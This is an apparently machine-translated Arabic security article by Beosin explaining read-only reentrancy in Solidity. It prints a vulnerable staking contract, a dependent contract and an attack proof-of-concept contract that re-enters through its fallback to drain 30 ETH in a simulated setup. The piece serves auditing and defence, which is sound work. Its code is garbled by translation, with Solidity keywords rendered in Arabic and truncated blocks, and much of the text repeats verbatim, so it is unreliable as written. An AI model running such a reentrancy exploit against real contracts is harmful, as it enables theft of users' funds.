في الآونة الأخيرة ، كانت هناك العديد من هجمات إعادة الدخول في النظام البيئي blockchain. لا تشبه هذه الهجمات الثغرات الأمنية الخاصة بإعادة الدخول التي عرفناها من قبل ، ولكنها هجمات إعادة الدخول للقراءة فقط التي تحدث عندما يكون للمشروع قفل إعادة الدخول.
المعرفة اللازمة للتدقيق الأمني اليوم ، سيشرح لك فريق Beosin للأبحاث الأمنية ما هو "هجوم إعادة الدخول للقراءة فقط".
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-75faa3f3ee-dd1a6f-1c6801)
ما المواقف التي تؤدي إلى خطر ظهور نقاط ضعف عودة الدخول؟
في عملية برمجة العقود الذكية لشركة Solidity ، يُسمح لعقد ذكي واحد باستدعاء رمز عقد ذكي آخر. في تصميم الأعمال للعديد من المشاريع ، من الضروري إرسال ETH إلى عنوان معين ، ولكن إذا كان عنوان استلام ETH عقدًا ذكيًا ، فسيتم استدعاء الوظيفة الاحتياطية للعقد الذكي. إذا كتب مستخدم ضار تعليمات برمجية جيدة التصميم في الوظيفة الاحتياطية للعقد ، فقد يكون هناك خطر إعادة الدخول إلى الثغرات الأمنية.
يمكن للمهاجم إعادة بدء الاتصال بعقد المشروع في الوظيفة الاحتياطية للعقد الضار. في هذا الوقت ، لم تنته عملية الاستدعاء الأولى ، ولم يتم تغيير بعض المتغيرات. في هذه الحالة ، ستؤدي المكالمة الثانية إلى عقد المشروع لاستخدام متغيرات غير عادية لإجراء العمليات الحسابية ذات الصلة أو السماح للمهاجمين بتجاوز بعض قيود الفحص.
بمعنى آخر ، يكمن جذر ثغرة إعادة الدخول في استدعاء واجهة العقد الهدف بعد تنفيذ النقل ، ويؤدي تغيير دفتر الأستاذ إلى تجاوز الشيك بعد استدعاء العقد الهدف ، أي أن التصميم ليس كذلك بشكل صارم وفقًا لوضع التحقق - التحقق - التفاعل. لذلك ، بالإضافة إلى ثغرات إعادة الدخول الناتجة عن عمليات نقل Ethereum ، يمكن أن تؤدي بعض التصميمات غير الصحيحة أيضًا إلى هجمات إعادة الدخول ، مثل المثال التالي:
1. سيؤدي استدعاء وظائف خارجية يمكن التحكم فيها إلى إمكانية إعادة الدخول
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-9e8d818ee9-dd1a6f-1c6801)
2. قد تتسبب الوظائف المتعلقة بالأمان ERC721 / 1155 في عودة الدخول
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-9dc869ef9e-dd1a6f-1c6801)
في الوقت الحالي ، تعد هجمات إعادة الدخول ثغرة أمنية شائعة.يدرك معظم مطوري مشاريع blockchain أيضًا مخاطر هجمات إعادة الدخول. يتم تعيين أقفال إعادة الدخول بشكل أساسي في المشاريع ، بحيث عند استدعاء وظيفة بقفل إعادة الدخول ، فإن أي وظيفة تحمل نفس إعادة الدخول لا يمكن استدعاء القفل مرة أخرى. على الرغم من أن أقفال إعادة الدخول يمكن أن تمنع بشكل فعال هجمات إعادة الدخول المذكورة أعلاه ، إلا أن هناك هجومًا آخر يسمى "إعادة الدخول للقراءة فقط" يصعب منعه.
ما هو "إعادة الدخول للقراءة فقط" الذي يصعب منعه؟
قدمنا أعلاه أنواع إعادة الدخول الشائعة ، والتي يتمثل جوهرها في استخدام الحالة غير الطبيعية لحساب الحالة الجديدة بعد إعادة الدخول ، مما يؤدي إلى تحديث حالة غير طبيعي. ثم إذا كانت الوظيفة التي نسميها هي وظيفة قراءة معدلة للعرض فقط ، فلن يكون هناك تعديل حالة في الوظيفة ، وبعد استدعاء الوظيفة ، لن يكون لها أي تأثير على هذا العقد. لذلك ، فإن مطوري مثل هذه المشاريع الوظيفية لن يهتموا كثيرًا بمخاطر إعادة الدخول ، ولن يضيفوا إليها أقفال إعادة الدخول.
على الرغم من أن الوظيفة المعدلة من خلال عرض إعادة الدخول لن تؤثر بشكل أساسي على هذا العقد ، إلا أن هناك موقفًا آخر حيث يستدعي العقد وظيفة عرض العقود الأخرى باعتبارها تبعية للبيانات ، ولا تضيف وظيفة العرض لهذا العقد إعادة إدخال قفل. ثم قد يؤدي إلى خطر إعادة الدخول للقراءة فقط.
على سبيل المثال ، مشروع عقد يمكن أن يرهن الرموز المميزة ويسحبها ، ويوفر وظيفة الاستعلام عن الأسعار وفقًا للمبلغ الإجمالي للرموز وشهادات العقد المرهونة. يوجد قفل إعادة الدخول بين الرموز المرهونة والرموز المسحوبة ، والاستعلام الوظيفة لا يوجد قفل إعادة الدخول. هناك مشروع آخر (ب) يوفر وظيفة سحب الرهن ، وهناك قفل إعادة الدخول بين التعهد والسحب ، وتعتمد وظيفة سحب التعهد على وظيفة الاستعلام عن السعر للمشروع (أ) لحساب رمز الإيصال.
هناك خطر إعادة الدخول للقراءة فقط بين المشروعين المذكورين أعلاه ، كما هو موضح في الشكل أدناه:
يسحب المهاجم الرموز المميزة في ContractA ويسحبها.
سيؤدي سحب الرموز المميزة إلى استدعاء الوظيفة الاحتياطية لعقد المهاجم.
يستدعي المهاجم وظيفة التعهد في ContractB مرة أخرى في العقد.
سوف تستدعي وظيفة التعهد وظيفة حساب السعر الخاصة بـ ContractA. في هذا الوقت ، لم يتم تحديث حالة عقد ContractA ، مما أدى إلى حدوث خطأ في السعر المحسوب ، ويتم حساب المزيد من الرموز المميزة وإرسالها إلى المهاجم.
بعد اكتمال إعادة الدخول ، يتم تحديث حالة ContractA.
أخيرًا ، يستدعي المهاجم ContractB لسحب الرموز.
في هذا الوقت ، تم تحديث البيانات التي تم الحصول عليها بواسطة ContractB ، ويمكن سحب المزيد من الرموز المميزة.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-34ed16cef6-dd1a6f-1c6801)
تحليل مبدأ الكود
نأخذ العرض التوضيحي التالي كمثال لشرح مشكلة إعادة الدخول للقراءة فقط. ما يلي هو مجرد رمز اختبار بدون منطق عمل حقيقي. يتم استخدامه فقط كمرجع لدراسة إعادة الدخول للقراءة فقط.
نشر عقد ContractA وتعهد 50ETH ، ومشروع المحاكاة قيد التشغيل بالفعل.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-6474d894a7-dd1a6f-1c6801)
اكتب عقد ContractB (بناءً على عقد الحصول على عقد \ _ وظيفة السعر):
صلابة pragma ^ 0.8.21 ؛ واجهة ContractA {function get \ _price () إرجاع عرض خارجي (uint256) ؛} عقد ContractB {ContractA Contract \ _a ؛ رسم خرائط (address => uint256) private \ _balances؛ bool check = true؛ () {request (check)؛ check = false؛ \ _؛ check = true؛} constructor () {} function setcontracta (address addr) public {contract \ _a = ContractA (addr)؛} / \ * \ * \ * رموز التعهد ، قم بحساب قيمة الرموز المميزة المرهونة وفقًا للحصول على \ _ السعر () من عقد ContractA ، وحساب عدد الرموز المميزة للإيصال \ * \ * / function DepositFunds () public payentrancy () {uint256 mintamount = msg.value \ * Contract \ _a.get \ _price () / 10e8؛ \ _balances [msg.sender] + = mintamount؛} / \ * \ * \ * سحب الرموز المميزة وحساب رموز القسيمة وفقًا لـ ContractA's get \ _price () حساب قيمة المسحوب الرموز \ * \ * / سحب الأموال (uint256 burnamount) العام المستحق الدفع noreentrancy () {\ _balances [msg.sender] - = burnamount؛ uint256 amount = burnamount \ * 10e8 / contract \ _a. get \ _price ()؛ msg.sender .call {value: amount} ("")؛} وظيفة الرصيد من (عنوان الحساب) إرجاع طريقة العرض العامة (uint256) {return \ _balances [acount] ؛
قم بنشر عقد ContractB لتعيين عنوان ContractA ، وتعهد 30ETH ، ومشروع المحاكاة قيد التشغيل بالفعل.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-814137fdf3-dd1a6f-1c6801)
اكتب عقد POC للهجوم:
صلابة براغما ^ 0.8.21 ؛ واجهة العقد {إيداعات الوظيفة () مستحقة الدفع الخارجية ؛ سحب الوظيفة (مبلغ uint256) خارجي ؛} واجهة ContractB {وظيفة إيداع الأموال () مستحقة الدفع الخارجية ؛ رصيد إجراء (حساب العنوان) عوائد العرض الخارجي (uint256) ؛} عقد POC {ContractA Contract \ _a؛ ContractB contract \ _b؛ address payable \ _owner؛ uint flag = 0؛ uint256 Depamount = 30 ether؛)؛} function setaddr (address \ _contracta، address \ _contractb) عام {contract \ _a = ContractA (\ _contracta)؛ Contract \ _b = ContractB (\ _ contractb)؛} / \ * \ * \ * يبدأ الهجوم في استدعاء الوظيفة وإضافة السيولة وإزالة السيولة وأخيراً سحب الرموز المميزة. \ * \ * / function start (uint256 amount) عام {contract \ _a.deposit {value: amount} ()؛ contract \ _a.withdraw (amount)؛ contract \ _b.withdrawFunds (contract \ _b.balanceof (address (this ))) ؛} / \ * \ * \ * استدعاء وظيفة Staking في reentrancy. \ * \ * / إيداع الوظيفة () داخلي {Contract \ _b.depositFunds {value: Depositamount} ()؛} / \ * \ * \ * بعد انتهاء الهجوم ، اسحب ETH. \ * \ * / function getEther () public {\ _owner.transfer (address (this) .balance)؛} / \ * \ * \ * وظيفة رد الاتصال ، مفتاح إعادة الدخول. \ * \ * / رجوع () مستحق الدفع خارجي {if (msg.sender == address (contract \ _a)) {يداع ()؛}
قم بالتغيير إلى حساب EOA آخر لنشر عقد الهجوم ونقل 50ETH ، وتعيين عناوين ContractA و ContractB.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-ba553d475f-dd1a6f-1c6801)
مرر 50000000000000000000 (50 \ * 10 ^ 18) في وظيفة البداية وقم بتنفيذها ، واكتشف أن 30ETH من ContractB قد تم نقلها بموجب عقد POC.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-ebe1dd0baa-dd1a6f-1c6801)
اتصل بوظيفة getEther مرة أخرى ، وسيكتسب عنوان المهاجم 30ETH.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-8c91d01aad-dd1a6f-1c6801)
تحليل عملية استدعاء الرمز:
تستدعي وظيفة البدء أولاً وظيفة الإيداع لعقد ContractA لرهن ETH. يمر المهاجم بـ 50 \ * 10 ^ 18 ، بالإضافة إلى 50 \ * 10 ^ 18 المملوكة للعقد الأولي. في هذا الوقت ، \ _ allstake و \ _totalSupply كلاهما 100 \ * 10 ^ 18.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-651166db4a-dd1a6f-1c6801)
بعد ذلك ، قم باستدعاء وظيفة سحب العقد في ContractA لسحب الرموز. سيتم تحديث العقد أولاً \ _جميعه ، وإرسال 50 ETH إلى عقد الهجوم. في هذا الوقت ، سوف يستدعي الوظيفة الاحتياطية لعقد الهجوم ، وأخيراً تحديث \ _totalSupply .
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-693a08fa2c-dd1a6f-1c6801)
في الوظيفة الاحتياطية ، يستدعي عقد الهجوم عقد ContractB لتعهد 30 ETH. نظرًا لأن get \ _price هي وظيفة عرض ، فإن عقد ContractB يعيد إدخال وظيفة get \ _price في ContractA بنجاح. في هذا الوقت ، لأن \ _totalSupply لم يتم تحديثه ، ولا يزال 100 \ * 10 ^ 18 ، ولكن تم تقليل \ _ allstake إلى 50 \ * 10 ^ 18 ، لذلك سيتم مضاعفة القيمة التي يتم إرجاعها هنا. ستضيف 60 \ * 10 ^ 18 عملة رمزية إلى عقد الهجوم.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-9fc8c39a59-dd1a6f-1c6801)
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-b0b678935d-dd1a6f-1c6801)
بعد انتهاء إعادة الدخول ، يستدعي عقد الهجوم عقد ContractB لاستخراج ETH. في هذا الوقت ، تم تحديث \ _totalSupply إلى 50 \ * 10 ^ 18 ، وسيتم حساب نفس مبلغ ETH مثل عملة الشهادة. تم نقل 60ETH إلى عقد الهجوم. في النهاية ، حقق المهاجم ربحًا قدره 30ETH.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-d857f8197a-dd1a6f-1c6801)
نصائح الأمن Beosin
بالنسبة لقضايا الأمان المذكورة أعلاه ، يقترح فريق أمان Beosin: بالنسبة للمشاريع التي تحتاج إلى الاعتماد على مشاريع أخرى كدعم للبيانات ، يجب فحص أمان منطق العمل لمجموعة المشروع التابع والمشروع الخاص به بدقة. في حالة عدم وجود مشاكل في المشروعين وحدهما ، فقد تنشأ مشاكل أمنية خطيرة بعد الدمج بينهما.
شاهد النسخة الأصلية
قد تحتوي هذه الصفحة على محتوى من جهات خارجية، يتم تقديمه لأغراض إعلامية فقط (وليس كإقرارات/ضمانات)، ولا ينبغي اعتباره موافقة على آرائه من قبل Gate، ولا بمثابة نصيحة مالية أو مهنية. انظر إلى إخلاء المسؤولية للحصول على التفاصيل.
المعرفة الأساسية للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث بشكل متكرر مؤخرًا ويصعب منعه؟
مؤلف هذا المقال: سيفان خبير أبحاث الأمن في Beosin
في الآونة الأخيرة ، كانت هناك العديد من هجمات إعادة الدخول في النظام البيئي blockchain. لا تشبه هذه الهجمات الثغرات الأمنية الخاصة بإعادة الدخول التي عرفناها من قبل ، ولكنها هجمات إعادة الدخول للقراءة فقط التي تحدث عندما يكون للمشروع قفل إعادة الدخول.
المعرفة اللازمة للتدقيق الأمني اليوم ، سيشرح لك فريق Beosin للأبحاث الأمنية ما هو "هجوم إعادة الدخول للقراءة فقط".
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-75faa3f3ee-dd1a6f-1c6801)
ما المواقف التي تؤدي إلى خطر ظهور نقاط ضعف عودة الدخول؟
في عملية برمجة العقود الذكية لشركة Solidity ، يُسمح لعقد ذكي واحد باستدعاء رمز عقد ذكي آخر. في تصميم الأعمال للعديد من المشاريع ، من الضروري إرسال ETH إلى عنوان معين ، ولكن إذا كان عنوان استلام ETH عقدًا ذكيًا ، فسيتم استدعاء الوظيفة الاحتياطية للعقد الذكي. إذا كتب مستخدم ضار تعليمات برمجية جيدة التصميم في الوظيفة الاحتياطية للعقد ، فقد يكون هناك خطر إعادة الدخول إلى الثغرات الأمنية.
يمكن للمهاجم إعادة بدء الاتصال بعقد المشروع في الوظيفة الاحتياطية للعقد الضار. في هذا الوقت ، لم تنته عملية الاستدعاء الأولى ، ولم يتم تغيير بعض المتغيرات. في هذه الحالة ، ستؤدي المكالمة الثانية إلى عقد المشروع لاستخدام متغيرات غير عادية لإجراء العمليات الحسابية ذات الصلة أو السماح للمهاجمين بتجاوز بعض قيود الفحص.
بمعنى آخر ، يكمن جذر ثغرة إعادة الدخول في استدعاء واجهة العقد الهدف بعد تنفيذ النقل ، ويؤدي تغيير دفتر الأستاذ إلى تجاوز الشيك بعد استدعاء العقد الهدف ، أي أن التصميم ليس كذلك بشكل صارم وفقًا لوضع التحقق - التحقق - التفاعل. لذلك ، بالإضافة إلى ثغرات إعادة الدخول الناتجة عن عمليات نقل Ethereum ، يمكن أن تؤدي بعض التصميمات غير الصحيحة أيضًا إلى هجمات إعادة الدخول ، مثل المثال التالي:
1. سيؤدي استدعاء وظائف خارجية يمكن التحكم فيها إلى إمكانية إعادة الدخول
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-9e8d818ee9-dd1a6f-1c6801)
2. قد تتسبب الوظائف المتعلقة بالأمان ERC721 / 1155 في عودة الدخول
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-9dc869ef9e-dd1a6f-1c6801)
في الوقت الحالي ، تعد هجمات إعادة الدخول ثغرة أمنية شائعة.يدرك معظم مطوري مشاريع blockchain أيضًا مخاطر هجمات إعادة الدخول. يتم تعيين أقفال إعادة الدخول بشكل أساسي في المشاريع ، بحيث عند استدعاء وظيفة بقفل إعادة الدخول ، فإن أي وظيفة تحمل نفس إعادة الدخول لا يمكن استدعاء القفل مرة أخرى. على الرغم من أن أقفال إعادة الدخول يمكن أن تمنع بشكل فعال هجمات إعادة الدخول المذكورة أعلاه ، إلا أن هناك هجومًا آخر يسمى "إعادة الدخول للقراءة فقط" يصعب منعه.
ما هو "إعادة الدخول للقراءة فقط" الذي يصعب منعه؟
قدمنا أعلاه أنواع إعادة الدخول الشائعة ، والتي يتمثل جوهرها في استخدام الحالة غير الطبيعية لحساب الحالة الجديدة بعد إعادة الدخول ، مما يؤدي إلى تحديث حالة غير طبيعي. ثم إذا كانت الوظيفة التي نسميها هي وظيفة قراءة معدلة للعرض فقط ، فلن يكون هناك تعديل حالة في الوظيفة ، وبعد استدعاء الوظيفة ، لن يكون لها أي تأثير على هذا العقد. لذلك ، فإن مطوري مثل هذه المشاريع الوظيفية لن يهتموا كثيرًا بمخاطر إعادة الدخول ، ولن يضيفوا إليها أقفال إعادة الدخول.
على الرغم من أن الوظيفة المعدلة من خلال عرض إعادة الدخول لن تؤثر بشكل أساسي على هذا العقد ، إلا أن هناك موقفًا آخر حيث يستدعي العقد وظيفة عرض العقود الأخرى باعتبارها تبعية للبيانات ، ولا تضيف وظيفة العرض لهذا العقد إعادة إدخال قفل. ثم قد يؤدي إلى خطر إعادة الدخول للقراءة فقط.
على سبيل المثال ، مشروع عقد يمكن أن يرهن الرموز المميزة ويسحبها ، ويوفر وظيفة الاستعلام عن الأسعار وفقًا للمبلغ الإجمالي للرموز وشهادات العقد المرهونة. يوجد قفل إعادة الدخول بين الرموز المرهونة والرموز المسحوبة ، والاستعلام الوظيفة لا يوجد قفل إعادة الدخول. هناك مشروع آخر (ب) يوفر وظيفة سحب الرهن ، وهناك قفل إعادة الدخول بين التعهد والسحب ، وتعتمد وظيفة سحب التعهد على وظيفة الاستعلام عن السعر للمشروع (أ) لحساب رمز الإيصال.
هناك خطر إعادة الدخول للقراءة فقط بين المشروعين المذكورين أعلاه ، كما هو موضح في الشكل أدناه:
يسحب المهاجم الرموز المميزة في ContractA ويسحبها.
سيؤدي سحب الرموز المميزة إلى استدعاء الوظيفة الاحتياطية لعقد المهاجم.
يستدعي المهاجم وظيفة التعهد في ContractB مرة أخرى في العقد.
سوف تستدعي وظيفة التعهد وظيفة حساب السعر الخاصة بـ ContractA. في هذا الوقت ، لم يتم تحديث حالة عقد ContractA ، مما أدى إلى حدوث خطأ في السعر المحسوب ، ويتم حساب المزيد من الرموز المميزة وإرسالها إلى المهاجم.
بعد اكتمال إعادة الدخول ، يتم تحديث حالة ContractA.
أخيرًا ، يستدعي المهاجم ContractB لسحب الرموز.
في هذا الوقت ، تم تحديث البيانات التي تم الحصول عليها بواسطة ContractB ، ويمكن سحب المزيد من الرموز المميزة.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-34ed16cef6-dd1a6f-1c6801)
تحليل مبدأ الكود
نأخذ العرض التوضيحي التالي كمثال لشرح مشكلة إعادة الدخول للقراءة فقط. ما يلي هو مجرد رمز اختبار بدون منطق عمل حقيقي. يتم استخدامه فقط كمرجع لدراسة إعادة الدخول للقراءة فقط.
اكتب العقد
صلابة pragma ^ 0.8.21 ؛ عقد ContractA {uint256 private \ _totalSupply؛ uint256 private \ _allstake؛ mapping (address => uint256) public \ _balances؛ bool check = true؛ / \ * \ * \ * قفل إعادة الدخول. \ * \ * / modifier noreentrancy () {need (check)؛ check = false؛ \ _؛ check = true؛} constructor () {} / \ * \ * \ * احسب التعهد على أساس المبلغ الإجمالي للرموز و المبلغ المرهون لقيمة شهادة العقد ، 10e8 للمعالجة الدقيقة. \ * \ * / function get \ _price () public view virtual return (uint256) {if (\ _ totalSupply == 0 || \ _allstake == 0) return 10e8؛ return \ _totalSupply \ * 10e8 / \ _ allstake؛} / \ * \ * \ * تعهد المستخدم وزيادة مبلغ الرهن وتقديم عملة القسيمة. \ * \ * / إيداع الوظيفة () العامة المستحقة الدفع noreentrancy () {uint256 mintamount = msg.value \ * get \ _price () / 10e8؛ \ _allstake + = msg.value؛ \ _balances [msg.sender] + = mintamount؛ \ _totalSupply + = mintamount ؛} / \ * \ * \ * يسحب المستخدم ويقلل المبلغ المرهون ويتلف إجمالي مبلغ الرمز المميز. \ * \ * / function pull (uint256 burnamount) public noreentrancy () {uint256 sendamount = burnamount \ * 10e8 / get \ _price ()؛ \ _allstake- = sendamount؛ payable (msg.sender) .call {value: sendamount} ( "") ؛ \ _balances [msg.sender] - = burnamount ؛ \ _totalSupply- = burnamount ؛
نشر عقد ContractA وتعهد 50ETH ، ومشروع المحاكاة قيد التشغيل بالفعل.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-6474d894a7-dd1a6f-1c6801)
اكتب عقد ContractB (بناءً على عقد الحصول على عقد \ _ وظيفة السعر):
صلابة pragma ^ 0.8.21 ؛ واجهة ContractA {function get \ _price () إرجاع عرض خارجي (uint256) ؛} عقد ContractB {ContractA Contract \ _a ؛ رسم خرائط (address => uint256) private \ _balances؛ bool check = true؛ () {request (check)؛ check = false؛ \ _؛ check = true؛} constructor () {} function setcontracta (address addr) public {contract \ _a = ContractA (addr)؛} / \ * \ * \ * رموز التعهد ، قم بحساب قيمة الرموز المميزة المرهونة وفقًا للحصول على \ _ السعر () من عقد ContractA ، وحساب عدد الرموز المميزة للإيصال \ * \ * / function DepositFunds () public payentrancy () {uint256 mintamount = msg.value \ * Contract \ _a.get \ _price () / 10e8؛ \ _balances [msg.sender] + = mintamount؛} / \ * \ * \ * سحب الرموز المميزة وحساب رموز القسيمة وفقًا لـ ContractA's get \ _price () حساب قيمة المسحوب الرموز \ * \ * / سحب الأموال (uint256 burnamount) العام المستحق الدفع noreentrancy () {\ _balances [msg.sender] - = burnamount؛ uint256 amount = burnamount \ * 10e8 / contract \ _a. get \ _price ()؛ msg.sender .call {value: amount} ("")؛} وظيفة الرصيد من (عنوان الحساب) إرجاع طريقة العرض العامة (uint256) {return \ _balances [acount] ؛
قم بنشر عقد ContractB لتعيين عنوان ContractA ، وتعهد 30ETH ، ومشروع المحاكاة قيد التشغيل بالفعل.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-814137fdf3-dd1a6f-1c6801)
اكتب عقد POC للهجوم:
صلابة براغما ^ 0.8.21 ؛ واجهة العقد {إيداعات الوظيفة () مستحقة الدفع الخارجية ؛ سحب الوظيفة (مبلغ uint256) خارجي ؛} واجهة ContractB {وظيفة إيداع الأموال () مستحقة الدفع الخارجية ؛ رصيد إجراء (حساب العنوان) عوائد العرض الخارجي (uint256) ؛} عقد POC {ContractA Contract \ _a؛ ContractB contract \ _b؛ address payable \ _owner؛ uint flag = 0؛ uint256 Depamount = 30 ether؛)؛} function setaddr (address \ _contracta، address \ _contractb) عام {contract \ _a = ContractA (\ _contracta)؛ Contract \ _b = ContractB (\ _ contractb)؛} / \ * \ * \ * يبدأ الهجوم في استدعاء الوظيفة وإضافة السيولة وإزالة السيولة وأخيراً سحب الرموز المميزة. \ * \ * / function start (uint256 amount) عام {contract \ _a.deposit {value: amount} ()؛ contract \ _a.withdraw (amount)؛ contract \ _b.withdrawFunds (contract \ _b.balanceof (address (this ))) ؛} / \ * \ * \ * استدعاء وظيفة Staking في reentrancy. \ * \ * / إيداع الوظيفة () داخلي {Contract \ _b.depositFunds {value: Depositamount} ()؛} / \ * \ * \ * بعد انتهاء الهجوم ، اسحب ETH. \ * \ * / function getEther () public {\ _owner.transfer (address (this) .balance)؛} / \ * \ * \ * وظيفة رد الاتصال ، مفتاح إعادة الدخول. \ * \ * / رجوع () مستحق الدفع خارجي {if (msg.sender == address (contract \ _a)) {يداع ()؛}
قم بالتغيير إلى حساب EOA آخر لنشر عقد الهجوم ونقل 50ETH ، وتعيين عناوين ContractA و ContractB.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-ba553d475f-dd1a6f-1c6801)
مرر 50000000000000000000 (50 \ * 10 ^ 18) في وظيفة البداية وقم بتنفيذها ، واكتشف أن 30ETH من ContractB قد تم نقلها بموجب عقد POC.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-ebe1dd0baa-dd1a6f-1c6801)
اتصل بوظيفة getEther مرة أخرى ، وسيكتسب عنوان المهاجم 30ETH.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-8c91d01aad-dd1a6f-1c6801)
تحليل عملية استدعاء الرمز:
تستدعي وظيفة البدء أولاً وظيفة الإيداع لعقد ContractA لرهن ETH. يمر المهاجم بـ 50 \ * 10 ^ 18 ، بالإضافة إلى 50 \ * 10 ^ 18 المملوكة للعقد الأولي. في هذا الوقت ، \ _ allstake و \ _totalSupply كلاهما 100 \ * 10 ^ 18.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-651166db4a-dd1a6f-1c6801)
بعد ذلك ، قم باستدعاء وظيفة سحب العقد في ContractA لسحب الرموز. سيتم تحديث العقد أولاً \ _جميعه ، وإرسال 50 ETH إلى عقد الهجوم. في هذا الوقت ، سوف يستدعي الوظيفة الاحتياطية لعقد الهجوم ، وأخيراً تحديث \ _totalSupply .
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-693a08fa2c-dd1a6f-1c6801)
في الوظيفة الاحتياطية ، يستدعي عقد الهجوم عقد ContractB لتعهد 30 ETH. نظرًا لأن get \ _price هي وظيفة عرض ، فإن عقد ContractB يعيد إدخال وظيفة get \ _price في ContractA بنجاح. في هذا الوقت ، لأن \ _totalSupply لم يتم تحديثه ، ولا يزال 100 \ * 10 ^ 18 ، ولكن تم تقليل \ _ allstake إلى 50 \ * 10 ^ 18 ، لذلك سيتم مضاعفة القيمة التي يتم إرجاعها هنا. ستضيف 60 \ * 10 ^ 18 عملة رمزية إلى عقد الهجوم.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-9fc8c39a59-dd1a6f-1c6801)
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-b0b678935d-dd1a6f-1c6801)
